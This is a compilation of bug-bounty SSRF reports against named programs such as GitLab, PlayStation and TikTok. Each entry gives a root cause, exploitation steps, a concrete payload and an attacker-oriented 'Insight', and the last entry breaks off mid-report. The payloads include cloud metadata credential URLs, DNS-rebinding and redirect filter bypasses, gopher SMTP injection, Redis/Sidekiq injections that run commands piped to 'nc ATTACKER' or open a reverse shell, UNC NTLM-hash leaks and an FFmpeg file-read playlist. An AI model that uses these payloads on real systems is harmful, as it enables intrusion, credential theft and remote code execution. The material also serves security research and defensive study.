- IDOR: decode base64 {"id":N} and set N=1 to read the first (admin) user.
- Mass-assignment/overflow: age=1e6 through intval() overflows a fixed field and appends characters to the admin flag column.
- LFI filter bypass: craft input so recursive str_replace('admin.php')/preg_replace still yields secretadmin.php.
# DNS rebinding SSRF bypass (resolves to 127.0.0.1 or 192.168.0.1):
target=7f000001.c0a80001.rbndr.us
# second-order boolean SQLi oracle:
name=99' OR 1=1-- - -> "There is 565042 other player(s)"
name=99' OR 5=1-- - -> "There is 0 other player(s)"
# recursive filter bypass to reach secretadmin.php:
template=secretadmin.phpadminadmin.phpsecretadmin.phpadminadmin.php.php.php
Insight — Keep rbndr.us / DNS-rebinding in the toolkit for any SSRF where the host is validated then re-resolved before fetch. For 'how many others share your X' style features, suspect second-order SQLi and drive it with sqlmap --second-req. When a filter does non-recursive str_replace/regex stripping, nest the forbidden token so one pass leaves it intact.
Real-world example
SSRF via CarrierWave remote_attachment_url in project-import JSON
◆ High
Specimen #826361 · gitlab · 10000 · 356 votes · resolved
Program gitlabSurface webChain import mass-assignment -> CarrierWave remote fetch SSRF -Tag cloud-awsTag cloud-gcp
Root cause
CarrierWave uploaders expose remote_<field>_url= that downloads a URL server-side. On project import the Note's remote_attachment_url was not stripped by AttributeCleaner, so it was set from attacker-controlled project.json and fetched.
Method
- Create a project, add an issue with a note, export the project
- Extract the export and add remote_attachment_url (and optionally remote_attachment_request_header) to the note hash in project.json
- Recompress and import; the server downloads the URL and attaches the file
- View the note to read the fetched internal response (metadata, localhost exporters, etc.)
# in project.json note hash:
"remote_attachment_url": "http://169.254.169.254/latest/meta-data/"
# header injection for Google metadata / redis:
"remote_attachment_request_header": {"Metadata-Flavor":"Google"}
Insight — Any model with mount_uploader that is importable/mass-assignable is an SSRF sink via remote_<field>_url. Import/seed features that deserialize attributes are prime mass-assignment-to-SSRF targets. AvatarUploaders that validate file type are less useful (response not viewable).
Real-world example
Anti-SSRF DNS-rebinding protection skipped on resolution error
◆ High
Specimen #632101 · gitlab · awarded · 347 votes · resolved
Program gitlabSurface webChain webhook SSRF -> 169.254.169.254 metadataTag cloud-awsTag webhook
Root cause
UrlBlocker.validate resolved the host and returned the pinned IP to defeat rebinding, but if resolution raised an error the protection was silently skipped and the later HTTP client re-resolved the host.
Method
- Set up a DNS server for a host that first errors/returns junk then resolves to 169.254.169.254 (use a CNAME chain to avoid caching)
- Create a webhook pointing at http://<yourhost> (e.g. 990.hacker1.xyz)
- Wait ~10s and click Test/Push events; the re-resolution hits the internal IP and the response is returned
Webhook URL: http://990.hacker1.xyz
# DNS: chained CNAMEs, first lookup errors, subsequent -> 169.254.169.254 / 127.0.0.1
Insight — When auditing SSRF allowlists, test the error path: many validators fail-open when DNS resolution throws. Pinning the validated IP is only safe if resolution failures are treated as denial.
Real-world example
Link-preview (Matrix preview_url) partially-blind SSRF
◆ High
Specimen #1960765 · reddit · 6000 · 339 votes · resolved
Program redditSurface apiChain link-preview SSRF -> internal service enumeration / port Tag webhook
Root cause
Matrix media preview_url endpoint fetched arbitrary user URLs without filtering internal targets, reflecting og:title and enabling internal service enumeration / port scanning.
Method
- Call the preview endpoint with url= pointing at internal hosts
- Read the returned og:title / metadata to fingerprint internal services
- Vary host/port to enumerate internal services and open ports
GET https://matrix.redditspace.com/_matrix/media/r0/preview_url/?url=http://INTERNAL_HOST:PORT/
Insight — URL-preview / unfurl endpoints (Matrix, Slack, chat unfurlers) are classic SSRF sinks. Even 'blind' ones leak og:title and timing, giving a service enumeration + port-scan primitive on the internal network.
Real-world example
Unauthenticated blind SSRF via Host header into Rails _url helper
◆ High
Specimen #398799 · gitlab · 4000 · 237 votes · resolved
Program gitlabSurface webChain Host-header SSRF (unauth) -> internal network requestsTag oauth
Root cause
OAuth Jira access_token controller built oauth_token_url from a Rails _url helper that derives the host from the request Host header, then did Gitlab::HTTP.post(url, allow_local_requests:true) with no host validation.
Method
- Send POST to /-/jira/login/oauth/access_token
- Set the Host header to the internal IP:port you want to reach
- Server issues the POST to that host; limited JSON (access_token/scope/token_type) is interpreted
curl -X POST -H 'Host: 169.254.169.254:80' 'https://gitlab.com/-/jira/login/oauth/access_token'
Insight — Rails *_url routing helpers reconstruct URLs from the Host header. Any code that feeds a _url helper into an HTTP client without validating Host is an unauth SSRF. allow_local_requests:true removes the safety net.
Real-world example
Outdated Jira SSRF to cloud metadata + internal network
◆ Critical
Specimen #326043 · U.S. Dept Of Defense · none · 32 votes · resolved
Program U.S. Dept Of DefenseSurface webChain Jira SSRF -> AWS IMDS credential/metadata read -> inteTag cloud-aws
Root cause
An outdated Jira instance exposed a known SSRF primitive that let the reporter reach AWS instance metadata, internal DoD servers/services, and perform XSPA port scanning via response-time differences.
Method
- Fingerprint the Jira version (footer/REST /rest/api/2/serverInfo)
- If outdated, abuse the known Jira SSRF endpoint to fetch attacker-chosen URLs
- Point it at 169.254.169.254 metadata and internal hostnames
- Use response timing to infer open/closed internal ports (XSPA)
Insight — Version-fingerprint third-party software (Jira, Confluence, Splunk, etc.) and map to public CVE SSRF gadgets. Outdated enterprise apps on defense/corp perimeters routinely yield SSRF -> IMDS -> internal pivot. See external writeup 'Piercing the veil: SSRF to NIPRNet access'.
Real-world example
Webhook SSRF via HTTP 303 redirect bypass -> AWS credentials
◆ High
Specimen #508459 · omise · awarded · 212 votes · resolved
Program omiseSurface webChain webhook SSRF via 303 -> AWS IMDS -> IAM credsTag cloud-awsTag webhook
Root cause
Webhook delivery did not follow redirects in general, but a 303 See Other status was followed, letting an attacker redirect the server from an allowed URL to the metadata service and read the response.
Method
- Host a script that returns HTTP 303 with Location set to the AWS metadata credentials URL
- Set your webhook endpoint to that script's URL
- Trigger a webhook delivery (e.g. add a user)
- Read the response body in 'Recent Deliveries' -> IAM role credentials
<?php header('Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-opsworks-ec2-role', TRUE, 303); ?>
Insight — Redirect handling is a common anti-SSRF gap: even when 301/302 are blocked, 303 (or 307/308) may be followed. Always test each redirect status code against a metadata Location.
Real-world example
Substring domain-allowlist bypass -> localhost port scan / redis info
◆ High
Specimen #398641 · duckduckgo · none · 164 votes · resolved
Program duckduckgoSurface webChain allowlist bypass SSRF -> XSPA localhost port scan -> r
Root cause
The /iu/ image proxy validated that 'yimg.com' appeared anywhere in the URL rather than as the host, so placing yimg.com in a query parameter bypassed the check and allowed arbitrary internal fetches.
Method
- Confirm normal request needs yimg.com in the u= param
- Craft a URL to an internal target but append ?q=http://yimg.com/ to satisfy the substring check
- Enumerate localhost ports; read HTTP-speaking internal services (redis status endpoint leaked config)
https://duckduckgo.com/iu/?u=http://127.0.0.1:6868%2fstatus%2f?q=http://yimg.com/
Insight — When an allowlist is a substring/contains check, satisfy it in a benign position (query string, path, userinfo) while the real host is internal. Chain with XSPA to port-scan and pull status/debug endpoints.
Real-world example
FFmpeg HLS (m3u8) SSRF + local file read via video upload
◆ High
Specimen #1062888 · tiktok · 2727 · 157 votes · resolved
Program tiktokSurface webChain upload -> FFmpeg HLS processing -> external SSRF + arbTag file-uploadTag cloud-aws
Root cause
Server-side FFmpeg processing of uploaded video honored HLS/m3u8 directives; EXTINF entries with external URLs cause SSRF, and concat:/subfile: with file:// read local files line-by-line into the transcoded output.
Method
- Build an .avi/.m3u8 with HLS directives referencing http://yourserver for blind SSRF callback
- For LFI, host a header.m3u8 ending exactly at the ? byte and reference concat:header|file:///etc/passwd to leak the first line
- Use the subfile,,start,N,end,10000,, directive to walk the file line-by-line and reconstruct the whole file
- Upload; read exfiltrated data from your server or the video preview
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://yourserver.com/header.m3u8|subfile,,start,1,end,10000,,:/etc/passwd
#EXT-X-ENDLIST
# header.m3u8 (no bytes after the ? ):
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://yourserver.com?
Insight — Any server-side video/audio transcoder (FFmpeg, libav) is an SSRF+LFI sink via HLS/m3u8 playlists. Watch for trailing \r\n corrupting the header file. subfile technique defeats the 'only first line' limitation by paging through byte offsets.
Real-world example
Chained SSRF: image proxy -> internal SSRF service -> file:// internal image read
◆ High
Specimen #826097 · playstation · 1000 · 145 votes · resolved
Program playstationSurface apiChain public image SSRF -> internal PhantomJS image service -&g
Root cause
An image-fetch API (image param, format conversion) could reach internal hosts but required valid-image responses and blocked file://; a second internal image-rendering service (PhantomJS backplate) accepted file://, so chaining the two read internal files as images.
Method
- Use the public image API to fetch an internal host that returns an image (bypass 403 by hitting an image URL on the internal host)
- Find a second internal service that renders images from a URL parameter and accepts file://
- Point the first SSRF at the second service, whose backplate param uses file:///path to embed a local image
- Retrieve the rendered image containing internal file contents
https://image.api.np.km.playstation.net/dis/images/?format=png&image=https%3A%2F%2Fdis.api.np.playstation.net%2Fdis%2Fv1%2Fbanners%3Fbackplate%3Dfile:////usr/share/pixmaps/system-logo-white.png%26dimensions%3D790x250%26output%3Dsvg...
Insight — When one SSRF is response-constrained (must be an image, no file://), use it to reach a second internal service that has a more permissive fetch (accepts file://). Chaining SSRFs converts a weak primitive into internal file read.
Real-world example
Full-read SSRF via url parameter on file-storage endpoint
◆ High
Specimen #2300358 · indrive · 2000 · 136 votes · resolved
Program indriveSurface apiChain url-param SSRF -> internal/metadata full readTag cloud-aws
Root cause
A file-storage endpoint fetched any URL supplied in the url parameter and returned the content in the response, with no host filtering.
Method
- Request /api/file-storage?url=<attacker or internal URL>
- Observe fetched content reflected in the response and OOB interaction
- Pivot url to internal hosts/metadata
GET /api/file-storage?url=http://169.254.169.254/latest/meta-data/ HTTP/2
Host: couriers.indrive.com
Insight — A raw url= fetch parameter that echoes body is the simplest full-read SSRF. Response headers leaked here (Authorization: Bearer, istio-envoy) also fingerprint the internal stack.
Real-world example
SSRF in image-render param escalated to SMTP via gopher://
◆ High
Specimen #811136 · playstation · $1000 · 103 votes · resolved
Program playstationSurface webChain SSRF -> HTTP 302 -> gopher:// -> internal SMTP rela
Root cause
An image-rendering endpoint fetches an arbitrary attacker-supplied URL and follows redirects, so a 302 to gopher:// lets the server speak raw TCP (SMTP here) from inside the network.
Method
- Host a PHP page that 302-redirects to a gopher:// URL carrying line-delimited SMTP commands
- Pass that page's URL to the target's image= parameter
- Server follows the redirect, opens gopher to port 25 and delivers the crafted mail; confirm via your SMTP log
<?php
$c = array('HELO test.org','MAIL FROM: <a@tester.com>','RCPT TO: <bucket@test.smtp.org>','DATA','Test mail','.');
header('Location: gopher://test.smtp.org:25/_'.implode('%0A',$c));
?>
# trigger:
GET /images/?format=png&image=http%3A%2F%2FATTACKER/gopher.php HTTP/1.1
Host: image.api.np.km.playstation.net
Insight — URL-preview / image-proxy / thumbnail params are prime SSRF sinks. If the fetcher follows redirects and the URL scheme isn't whitelisted, redirect to gopher:// to reach arbitrary TCP services (SMTP, Redis, Memcached) from the server's network position.
Real-world example
libuv getaddrinfo hostname truncation enabling SSRF (CVE-2024-24806)
◆ High
Specimen #2429894 · ibb · 4860 · 74 votes · resolved
Program ibbSurface otherChain hostname truncation -> resolver/validator mismatch ->
Root cause
uv_getaddrinfo truncated hostnames to 256 chars before calling getaddrinfo; a long hostname could be truncated into a numeric form (e.g. 0x00007f000001) that getaddrinfo accepts, resolving to an unintended IP and bypassing developer host checks.
Method
- Construct a hostname whose first 256 chars form a numeric/hex address (0x00007f000001) after truncation
- Pass it through an app using Node/libuv that validated the full string but resolves the truncated one
- The connection goes to the truncated numeric IP (e.g. 127.0.0.1)
# hostname crafted so first 256 bytes == 0x00007f000001 (127.0.0.1) after libuv truncation
0x00007f000001<...padding to exceed 256 chars...>
Insight — Validation/resolution length mismatches are SSRF gadgets at the library layer. If a check inspects the full hostname but the resolver truncates it, the two see different hosts. Numeric IP encodings (hex 0x..., overflowed forms) that getaddrinfo accepts widen the gap.
Real-world example
UrlBlocker ToCToU: double DNS resolution enables rebinding SSRF
◆ High
Specimen #541169 · gitlab · awarded · 70 votes · resolved
Program gitlabSurface webChain webhook ToCToU DNS rebinding -> GET/POST to metadata/locaTag cloud-awsTag webhook
Root cause
UrlBlocker resolved and validated the host, but the subsequent HTTParty request re-resolved the host (a second DNS lookup), so a domain alternating between a public and a blocked IP (TTL 0) could pass validation then connect to the internal IP.
Method
- Configure a DNS server that randomly/alternately returns a public IP and 127.0.0.1 (or 169.254.169.254) with TTL 0
- Create a webhook to http://yourdomain:9999
- Fire many parallel webhook Test requests (e.g. wfuzz) until validation resolves public but the request resolves internal
- Read the internal response (metadata JSON)
# DNS alternates:
gitlabextssrf.webhooks.pw. 0 IN A 198.211.125.160
gitlabextssrf.webhooks.pw. 0 IN A 127.0.0.1
# spray:
wfuzz -X POST -b "_gitlab_session=..." -d "_method=post&authenticity_token=..." -z range,0-1000 "https://TARGET/user/repo/hooks/ID/test?trigger=push_events&test=FUZZ"
Insight — The canonical anti-SSRF fix is to resolve once and connect to the validated IP. If the validator and the HTTP client each resolve independently, it is a ToCToU/DNS-rebinding SSRF - spray parallel requests against a 0-TTL alternating resolver to win the race.
Real-world example
NAT64 local-use prefix (64:ff9b:1::/48) SSRF-filter bypass
◆ High
Specimen #3634400 · arkadiyt-projects · none · 63 votes · resolved
Program arkadiyt-projectsSurface apiTag cloud-aws
Root cause
ssrf_filter v1.3.0 blacklists the well-known NAT64 prefix 64:ff9b::/96 but not the NAT64 local-use prefix 64:ff9b:1::/48, so those IPv6 addresses are treated as public and pass the private-IP guard.
Method
- Identify a URL-fetch endpoint protected by ssrf_filter
- Encode the internal target under the NAT64 local-use prefix 64:ff9b:1::/48
- Send the bracketed IPv6 URL; filter allows it where 64:ff9b:: is blocked
# blocked (well-known NAT64):
curl 'http://TARGET/fetch?url=http://[64:ff9b::7f00:1]:18081'
# bypass (local-use NAT64 /48):
curl 'http://TARGET/fetch?url=http://[64:ff9b:1::7f00:1]:18081'
Insight — IPv6 denylists are frequently incomplete; test NAT64 (64:ff9b:1::/48), IPv4-mapped (::ffff:127.0.0.1), and other special-use IPv6 ranges against any SSRF filter.
Real-world example
Importer using Kernel.Open/CarrierWave download! -> redirect to 127.0.0.1
◆ High
Specimen #1092230 · gitlab · awarded · 57 votes · resolved
Program gitlabSurface webChain allowlisted-domain 302 -> Kernel.Open follows -> 127.0Tag subdomain-takeover
Root cause
FogBugz import uses CarrierWave download! -> Ruby Kernel.Open to fetch attachment URLs; Kernel.Open follows redirects to/resolves 127.0.0.1, and the host allowlist only checks the initial URL, so a redirect (or compromised allowlisted domain) yields full GET SSRF.
Method
- Find an import/download feature restricted to an allowlisted domain
- Get the allowlisted host to return a 302 to an internal URL (open redirect, param clobbering, subdomain takeover, MITM on http)
- Server follows redirect to 127.0.0.1 and stores the fetched response
# app allowlist: /^[^.]+\.fogbugz.com$/ but download uses Kernel.Open which follows redirects
# allowlisted host returns: HTTP/1.1 302 -> Location: http://127.0.0.1:9090/api/v1/targets
Insight — Ruby Kernel.Open / open-uri and CarrierWave download! are dangerous SSRF sinks; allowlisting the first URL is useless if the fetcher follows redirects. Use a hardened client that re-validates every hop.
Real-world example
Push-subscription endpoint full-read SSRF leaking internal auth headers
◆ High
Specimen #411865 · chaturbate · awarded · 54 votes · resolved
Program chaturbateSurface apiTag webhook
Root cause
A web-push subscription feature lets the user supply the full endpoint URL the server later POSTs to; redirecting it to an attacker host reveals the server's outbound request including internal Crypto-Key/Encryption/Authorization headers.
Method
- Find a push/webhook subscribe feature that stores a user-provided endpoint URL
- Set endpoint to attacker-controlled host
- Trigger the notification and capture the server request + its auth headers
POST /notifications/update_push/ HTTP/1.1
Host: TARGET
X-CSRFToken: TOKEN
Content-Type: application/x-www-form-urlencoded
subscription={"endpoint":"http://ATTACKER/wpush/v2/..."}&unsub=false
Insight — Web-push / webhook 'endpoint' fields that accept a full URL are SSRF sinks that often leak the server's signing keys and auth headers - inspect the captured outbound request, not just internal reachability.
Real-world example
Custom-integration webhook endpoint SSRF -> IMDS
◆ High
Specimen #1055823 · helium · USD 500 · 53 votes · resolved
Program heliumSurface webChain SSRF -> IMDSTag webhookTag cloud-aws
Root cause
A 'custom HTTP integration' feature lets users set an endpoint URL the server calls on each device event and stores the response; no URL validation allows pointing it at 169.254.169.254 to read EC2 metadata.
Method
- Create a custom HTTP integration/webhook
- Set its endpoint to http://169.254.169.254/latest/meta-data/...
- Trigger an event; read the metadata reflected back as the integration message
Integration endpoint: http://169.254.169.254/latest/meta-data/ami-id
Insight — Automation/integration/webhook builders that store a response back to the user are full-read SSRF sinks; always test the IMDS path.
Real-world example
ImageMagick SVG UNC path -> SMB SSRF leaks NTLMv2 hash
◆ High
Specimen #288353 · rockstargames · USD 1500 · 51 votes · resolved
Program rockstargamesSurface webChain SVG -> ImageMagick UNC -> SMB NTLMv2 leak -> offlinTag file-upload
Root cause
A server processes user-submitted SVG with ImageMagick, which follows UNC paths; a \\attacker\share reference makes the Windows server authenticate outbound over SMB, leaking the service account's NTLMv2 hash.
Method
- Find a feature that renders/processes user SVG via ImageMagick on Windows
- Embed a UNC path referencing your SMB responder
- Capture NTLMv2 hash for offline cracking or SMB relay
<image xlink:href="\\\\ATTACKER_IP\\share\\x.png" /> <!-- rendered via ImageMagick, triggers SMB auth -->
Insight — UNC paths in file/SVG processors on Windows leak NTLM hashes via SMB SSRF; run Responder and try UNC references anywhere a URL/path is fetched.
Real-world example
DNS rebinding bypass via .local / 0.0.0.0 to reach Node inspector
◆ High
Specimen #1714979 · ibb · 4200 · 46 votes · resolved
Program ibbSurface otherChain DNS rebinding -> Node inspector access -> RCE
Root cause
Node's DNS-rebinding protection for --inspect covered routable IPs, but on macOS the http://0.0.0.0 URL plus an attacker-controlled DNS answer resolving <ComputerName>.local to an arbitrary IP bypassed the Host/hostname allowlist, exposing the debugger (RCE).
Method
- Victim runs node --inspect (debugger bound to localhost/0.0.0.0)
- Lure victim to attacker page that fetches http://0.0.0.0:9229/ (allowed on macOS)
- Attacker DNS resolves <ComputerName>.local to flip the origin during rebinding
- Reach /json and the inspector WebSocket; evaluate code -> RCE
# attacker DNS resolves <ComputerName>.local -> attacker IP then victim 0.0.0.0
# browser loads http://0.0.0.0:9229/json to discover the ws:// debugger URL
Insight — When auditing DNS-rebinding fixes, test the odd hostnames: 0.0.0.0, [::], *.local (mDNS), and OS-specific loopback aliases. Allowlists that check literal IPs miss name-based paths that resolve to loopback.
Real-world example
Apache httpd Windows UNC SSRF -> NTLM leak (CVE-2024-38472)
◆ High
Specimen #2585385 · ibb · USD 4920 · 45 votes · resolved
Program ibbSurface webChain UNC SSRF -> SMB NTLM hash leak
Root cause
Apache HTTP Server on Windows (2.4.0-2.4.59) can be coerced via crafted requests/content into accessing UNC paths, causing the server to authenticate outbound over SMB and leak NTLM hashes to an attacker host.
Method
- Confirm target is Apache httpd on Windows < 2.4.60
- Trigger a request/content path that resolves to \\attacker\share (e.g. via mod_rewrite/mod_proxy handling)
- Capture NTLM hash with an SMB responder
# coerce httpd to resolve a UNC path e.g. \\ATTACKER\share via crafted request/rewrite; UNCList directive mitigates
Insight — Windows web servers/proxies that touch UNC paths are NTLM-leak SSRF sinks; on Apache/Windows fingerprint version and test UNC coercion. Mitigation added the UNCList directive in 2.4.60.
Real-world example
Git http.<url>.* config injection via import URL sets http.proxy
◆ High
Specimen #855276 · gitlab · $3000 · 36 votes · resolved
Program gitlabSurface apiChain config injection -> http.proxy set -> SSRF to internalTag cloud-aws
Root cause
Gitaly builds the clone command with `-c http.<import_url>.extraHeader=...`; because the attacker controls <import_url> it can smuggle a different git-config key (e.g. http.proxy), turning the import into an attacker-chosen proxy.
Method
- Import a repo with URL of form http://user@google.com/.proxy=http://INTERNAL:PORT so the generated config becomes [http "http://google.com/"] proxy = http://INTERNAL:PORT.extraHeader=...
- Use a short-TTL DNS name; after config is stored, rebind it to 127.0.0.1
- Trigger a mirror/fetch and append ? to the SSRF path to strip the appended .extraHeader= suffix
- Read import_error to see the internal service response (e.g. Consul on :8500)
curl -H "Authorization: Bearer $TOKEN" -XPOST 'http://gitlab/api/v4/projects?import_url=http://user@google.com/.proxy=http://proxy.aw.rs:8500&name=proxy4'
curl -H "Authorization: Bearer $TOKEN" -XPUT 'http://gitlab/api/v4/projects/ID?mirror=true&import_url=http://google.com/v1/config?'
Insight — When user input is interpolated into a git clone `-c key=value`, the URL segment itself is a config-key injection point; http.proxy (and socks4/socks5 proxies) is the highest-impact key. Look anywhere an app shells out to git with user-controlled remote URLs.
Real-world example
Webhook secret-token newline injection -> Redis SSRF -> Sidekiq RCE
◆ High
Specimen #299473 · gitlab · $750 · 34 votes · resolved
Program gitlabSurface webChain newline injection -> blind SSRF to Redis -> queue poisTag webhook
Root cause
The webhook X-Gitlab-Token header is built from an unsanitized secret-token field; a newline lets an attacker inject arbitrary lines into the TCP stream. Pointed at a co-located Redis (127.0.0.1:6379), Redis tolerates the junk HTTP lines and executes the injected multi/lpush commands, queueing a malicious Sidekiq job.
Method
- Create a webhook with URL http://127.0.0.1:6379/ and a secret token containing a newline + Redis command sequence
- Redis ignores the leading HTTP lines and runs the multi/sadd/lpush/exec block
- The lpush enqueues a GitlabShellWorker job with class_eval executing arbitrary Ruby (e.g. open('|cmd | nc ATTACKER 80').read)
- Click Test to fire the request; Sidekiq shifts the job and runs the command
A\n multi\n sadd resque:gitlab:queues system_hook_push\n lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open('|whoami | nc ATTACKER 80').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.81,\"enqueued_at\":1513714403.81}"\n exec
Insight — Any header/field reflected verbatim into an outbound request is a CRLF/newline SSRF gadget. If the target service is a line-based protocol (Redis, memcached, SMTP), you can inject commands; Redis + a job queue (Sidekiq/Resque) is a reliable path to RCE via a worker class that eval's its args.
Real-world example
WordPress xmlrpc.php pingback.ping unauthenticated blind SSRF
◆ High
Specimen #1890719 · deptofdefense · none · 28 votes · resolved
Program deptofdefenseSurface webChain pingback SSRF -> internal probing / DDoS reflection
Root cause
The WordPress XML-RPC pingback.ping method takes a sourceUri and makes the server fetch it, giving any unauthenticated user a blind SSRF against an exposed /xmlrpc.php.
Method
- Find an exposed /xmlrpc.php (GET returns 'XML-RPC server accepts POST requests only')
- POST a pingback.ping methodCall with your collaborator as the first param (source) and a valid target post URL as the second
- Observe the inbound request on your listener
<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://COLLABORATOR/</string></value></param>
<param><value><string>https://TARGET/?p=1</string></value></param>
</params>
</methodCall>
Insight — An exposed /xmlrpc.php is a one-request unauthenticated SSRF (and pingback amplification/port-scan) primitive; always probe it on WordPress targets. Error-message differences on the pingback response can reveal open internal ports.
Real-world example
Video/media conversion source URL SSRF with gopher/FTP + CRLF
◆ High
Specimen #247680 · imgur · awarded · 28 votes · resolved
Program imgurSurface webChain media-fetch SSRF -> gopher/ftp -> internal service int
Root cause
The video upload endpoint fetches a user-supplied source/url; besides HTTP it honors other schemes and %0a in the URL injects header/command lines, enabling gopher/FTP-style SSRF into non-HTTP services.
Method
- POST to the media upload endpoint with source= and url= set to your internal target
- Use %0a in the URL to inject additional lines into the outbound stream (as in the prior fixed spot #115748)
- Deliver gopher:// or ftp:// payloads to hit line-based internal services
POST /vidgif/upload HTTP/1.1
Host: imgur.com
Content-Type: application/x-www-form-urlencoded
source=http%3A%2F%2F127.0.0.1%3APORT%2F&url=http%3A%2F%2F127.0.0.1%3APORT%2F&start=56.72&stop=66.43
Insight — Media/thumbnail/transcode features that fetch a source URL are SSRF sinks; test non-HTTP schemes (gopher/ftp/dict) and %0a header injection to reach internal line-protocol services. Re-test previously fixed SSRF endpoints in adjacent parameters.
Real-world example
Link-preview SSRF via DNS rebinding / redirect (validate-before-resolve gap)
◆ High
Specimen #3393664 · rocket_chat · none · 24 votes · resolved
Program rocket_chatSurface webChain link preview -> DNS rebind/redirect -> internal host rTag cloud-aws
Root cause
Rocket.Chat's link/oEmbed preview checks the posted hostname for local IPs but never re-validates the IP actually connected to after DNS resolution (or after a redirect), so an attacker-owned domain resolving to an internal IP (or a redirect to one) reaches internal hosts and returns preview content.
Method
- Register a domain (e.g. via noip) and point it at an internal target IP (192.168.x.x / metadata)
- Post http://yourdomain in any channel; the server resolves it, fetches the internal host, and renders a preview of the response
- Variant (3383079): post a URL-shortener/redirect link that 302s to the internal host - the initial URL passes the filter, the redirect target is not re-checked
# DNS rebind: point test.attacker.tld -> 192.168.100.14, then post:
http://test.attacker.tld
# redirect variant: post a tinyurl that redirects to http://192.168.100.14:8080
Insight — Preview/oEmbed features are prime SSRF sinks. The recurring root cause is 'validate the string, then resolve/redirect independently' - defeat it with a domain that resolves to an internal IP (DNS rebinding) or a redirect the filter never re-checks. Proper fix must validate the post-resolution IP and every redirect hop.
Real-world example
Open TURN relay abuse -> internal network + AWS IMDS + coturn telnet control
◆ High
Specimen #843256 · 8x8-bounty · $700 · 23 votes · resolved
Program 8x8-bountySurface networkChain open TURN relay -> internal TCP + IMDS IAM creds -> coTag cloud-aws
Root cause
A WebRTC TURN server relayed to arbitrary peers with no restriction, so anyone holding (freely obtainable) TURN credentials could relay TCP/UDP to loopback and internal/AWS addresses - an SSRF-equivalent not limited to HTTP.
Method
- Harvest temporary TURN credentials from the app (Chrome DevTools -> WS filter -> xmpp-websocket messages with type='turn')
- Use stunner to recon the relay: stunner recon tls://TURN:443 -u CREDS
- Use stunner's port scanner + SOCKS proxy to reach 127.0.0.1 and internal ranges
- Relay to 169.254.169.254 for IMDS IAM creds; relay to coturn's telnet admin port (5766) to run pc/psd (config dump, write files)
stunner recon tls://TURN_HOST:443 -u <turn_creds>
proxychains telnet 127.0.0.1 5766 # coturn CLI: pc, psd
Insight — TURN/STUN relays are non-HTTP SSRF surfaces: extract the short-lived creds from WebRTC signalling, then treat the relay as a SOCKS pivot into loopback and the cloud metadata network. Tool: stunner.
Real-world example
git:// protocol bypasses SSRF UrlBlocker -> Redis RCE
◆ High
Specimen #441090 · gitlab · none · 22 votes · resolved
Program gitlabSurface webChain git:// SSRF (unfiltered) -> CRLF into Redis -> SidekiqTag webhook
Root cause
After GitLab added the UrlBlocker module (blocking HTTP requests into the intranet and fixing HTTP CRLF), the git:// protocol path was never routed through UrlBlocker, so CRLF-laden git:// remote-mirror URLs still reach 127.0.0.1:6379.
Method
- Set up Redis on 127.0.0.1:6379
- Add a remote mirror and set project[remote_mirrors_attributes][0][url] to a git:// URL with embedded newlines carrying the Redis job-queue payload
- POST to /{user}/{project}/mirror/update_now?sync_remote=true to trigger
- Receive reverse shell from the injected GitlabShellWorker job
git://127.0.0.1:6379/\n multi\n sadd resque:gitlab:queues system_hook_push\n lpush resque:gitlab:queue:system_hook_push "{...GitlabShellWorker class_eval reverse-shell...}"\n exec\n/bbbbb/ccccc
Insight — When a filter is added to fix SSRF, enumerate every protocol handler the app supports (git://, ftp://, gopher://, dict://) - fixes often only cover the HTTP client. A patched sink is not a patched feature.
Real-world example
File-fetch uploader pulls arbitrary URL -> cloud metadata (and redirect bypass of the fix)
◆ High
Specimen #786956 · nodejs-ecosystem · none · 22 votes · resolved
Program nodejs-ecosystemSurface apiChain import-by-URL SSRF -> IMDS metadata read (blacklist bypasTag cloud-awsTag file-upload
Root cause
Uppy Companion's /get -> downloadURL fetches req.body.url with no validation, letting the 'add file by link' feature pull internal resources; the returned file is the internal response. The follow-up fix added an IP blacklist but still followed redirects, so a shortlink/redirect to 169.254.169.254 re-enabled the SSRF.
Method
- Use the uploader's 'import file via link' feature
- Submit http://169.254.169.254/metadata/v1/ (DigitalOcean) or an IMDS URL; download the fetched file to read the metadata response
- If the host is blacklisted (post-fix), submit a redirector/shortlink that 302s to the metadata IP - the blacklist checks only the first host, not the redirect target
# original: submit as link ->
http://169.254.169.254/metadata/v1/
# fix bypass (891270): submit shortlink that redirects ->
https://tinyurl.com/xxxxx -> http://169.254.169.254/metadata/v1/
Insight — 'Import by URL' file uploaders are file-read SSRF sinks that return the response as a download. When a maintainer patches with an IP blacklist, immediately retry with a redirect/shortlink - blacklists that don't disable followRedirects are trivially bypassed.
Real-world example
CSRF->SSRF filter bypass via 302 redirect + basic-auth injection
◆ High
Specimen #187520 · wordpress · awarded · 21 votes · resolved
Program wordpressSurface webChain CSRF -> allowlist-bypassed SSRF -> internal service ac
Root cause
The press-this URL-scrape feature (itself CSRFable) validated only the initial URL against an IP/port allowlist, then blindly followed HTTP redirects returned by the attacker-controlled valid host, letting the server reach arbitrary internal ip:port; a credential-bearing redirect target injected an Authorization header into the SSRF.
Method
- Lure a user with press-this privileges to a payload that scrapes an attacker host
- Attacker host responds 302 with Location pointing at an internal ip:port (optionally with embedded creds)
- WordPress follows the redirect and hits the internal target, forwarding a basic-auth header
<img src="//TARGET/wp-admin/press-this.php?u=http://ATTACKER&url-scan-submit=Scan">
# attacker host reply:
HTTP/1.1 302 Found
Location: http://admin:admin@192.168.0.1:12345
Insight — SSRF IP/port filters that only check the first URL are defeated by returning a 302 to the internal target; embed credentials in the redirect URL (http://user:pass@internal) to smuggle an Authorization header to internal services.
Real-world example
Kubernetes StorageClass resturl half-blind SSRF (POST->GET redirect, CRLF smuggling)
◆ High
Specimen #776017 · kubernetes · $5000 · 21 votes · resolved
Program kubernetesSurface cloudChain StorageClass SSRF -> IMDS creds -> lateral movement; oTag cloud-aws
Root cause
Managed-k8s cloud-controller-manager provisions volumes by issuing HTTP requests to an attacker-controlled StorageClass parameter (glusterfs/scaleio/storageos resturl), from inside the provider's VPC - a customer-triggered SSRF into the control plane.
Method
